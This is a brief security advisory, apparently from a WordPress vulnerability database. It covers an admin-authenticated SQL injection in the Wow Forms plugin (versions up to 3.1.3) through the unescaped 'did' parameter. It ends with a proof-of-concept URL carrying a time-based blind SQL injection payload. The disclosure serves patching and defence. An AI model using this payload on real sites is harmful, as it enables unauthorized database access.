Wow Forms <= 3.1.3 - Admin+ SQL Injection

The plugin does not sanitise or escape a ‘did’ GET parameter before using it in a SQL statement, when deleting a form in the admin dashboard, leading to an authenticated SQL injection

PoC

https://plugins.trac.wordpress.org/browser/mwp-forms/trunk/admin/partials/main.php#L13 As admin, https://example.com/wp-admin/admin.php?page=mwp-forms&amp;info;=del&amp;did;=1 AND (SELECT 9063 FROM (SELECT(SLEEP(5)))YGWC)